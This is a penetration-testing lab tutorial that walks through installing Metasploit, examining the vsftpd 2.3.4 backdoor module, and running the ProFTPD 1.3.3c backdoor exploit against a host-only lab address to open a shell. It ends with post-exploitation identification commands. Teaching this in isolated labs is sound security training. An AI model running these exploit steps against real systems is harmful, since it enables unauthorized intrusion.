1. Install and Launch Metasploit Framework

- Metasploit Framework is a penetration-testing platform used to validate security weaknesses in controlled environments. Its console, **msfconsole**, provides access to exploit, auxiliary, payload, and post-exploitation modules.
- For this practical, use a Kali Linux virtual machine. Open Terminal and update the package list before installing the framework.
- Install Metasploit Framework using the package manager, then launch the console.
- Wait for the framework to initialize. A successful launch displays the Metasploit prompt, such as **msf6 >**.
- The console can then be used to search for modules, inspect their information, configure authorized lab targets, and review sessions.

Metasploit • Installation and Console
Terminal commands
sudo apt update
sudo apt install metasploit-framework
msfconsole
Successful launch
The Metasploit console opens and displays the framework banner followed by the command prompt:
msf6 >
Console status: Ready to accept Metasploit commands.

2. Search for Exploits Related to vsftpd

- The vsftpd service is an FTP server. Older versions, including the compromised vsftpd 2.3.4 distribution, are associated with a known backdoor vulnerability.
- Launch **msfconsole** and use the search command to find modules related to vsftpd.
- Metasploit module results can include exploit modules as well as auxiliary modules. An auxiliary module is not an exploit; it performs supporting tasks such as scanning or denial-of-service testing.
- The primary command-execution exploit associated with vsftpd 2.3.4 is **exploit/unix/ftp/vsftpd_234_backdoor**.
- A related result may also include **auxiliary/dos/ftp/vsftpd_232**, which targets a different vsftpd version and is an auxiliary denial-of-service module.

Metasploit • Search Results
Command
search vsftpd
Matching module names
1. exploit/unix/ftp/vsftpd_234_backdoor
Description: VSFTPD v2.3.4 Backdoor Command Execution
2. auxiliary/dos/ftp/vsftpd_232
Description: VSFTPD 2.3.2 Denial of Service
Module classification
The first result is an exploit module. The second is an auxiliary module, not an exploit.

3. Display Exploit Module Information

- Select the vsftpd 2.3.4 backdoor module from the search results using its full module path.
- Use the **info** command to display the module description, disclosure date, author information, references, target details, and configuration options.
- Review the required options before using any module. The target address and service port must match the authorized test machine.
- The vsftpd backdoor module targets the historical backdoor in the vsftpd 2.3.4 distribution and is intended only for a deliberately vulnerable lab machine.
- The module's information page should be reviewed before any scan or exploitation attempt.

Metasploit • Module Information
Commands
use exploit/unix/ftp/vsftpd_234_backdoor
info
show options
Module
exploit/unix/ftp/vsftpd_234_backdoor
Description
VSFTPD v2.3.4 Backdoor Command Execution
Important configuration
RHOSTS — IP address of the authorized lab target
RPORT — FTP service port (default: 21)
Information to review
Module description, references, target information, required options, and any supported payload details shown by the installed Metasploit version.

4. Exploit a Vulnerable FTP Service in a Lab

- Use an isolated virtual lab containing a deliberately vulnerable FTP server. Keep the vulnerable machine on a host-only or otherwise isolated virtual network.
- For this exercise, use a ProFTPD 1.3.3c test machine and the corresponding Metasploit module. This uses a different FTP service and exploit from the vsftpd module reviewed in the previous tasks.
- Confirm the FTP service version and target IP address from the lab configuration before selecting the module.
- Load the ProFTPD backdoor module, set the target address to the lab machine, review the options, and run the module.
- If the vulnerable service is present and the lab is configured correctly, Metasploit may open a command shell session. Record the session number and the result shown by the console.

Metasploit • Controlled FTP Lab
Module
exploit/unix/ftp/proftpd_133c_backdoor
Commands
use exploit/unix/ftp/proftpd_133c_backdoor
show options
set RHOSTS 192.168.56.102
run
Target address: 192.168.56.102 (example host-only lab IP; replace with the actual lab VM address)
Expected result
When the target is the vulnerable ProFTPD 1.3.3c lab service, the module attempts to open a command shell. A successful attempt is shown by a new session message in the Metasploit console.

5. Gather Information After Exploitation

- After a successful exploitation attempt, interact with the opened session from the Metasploit console.
- Use basic system-identification commands to determine the operating system, machine details, current user, and permission level.
- The **sysinfo** and **getuid** commands are available in Meterpreter sessions. For a standard command shell, use the equivalent system commands shown in the result panel.
- Record the command output and use it to describe the machine that was accessed in the controlled lab.
- Post-exploitation checks should remain limited to basic identification and the scope of the authorized exercise.

Metasploit • Post-Exploitation Information
Interact with the session
sessions
sessions -i 1
For a Meterpreter session
sysinfo
getuid
For a standard command shell
whoami
id
uname -a
Information collected
Operating system and version, machine or host details, current username, and user/group identity.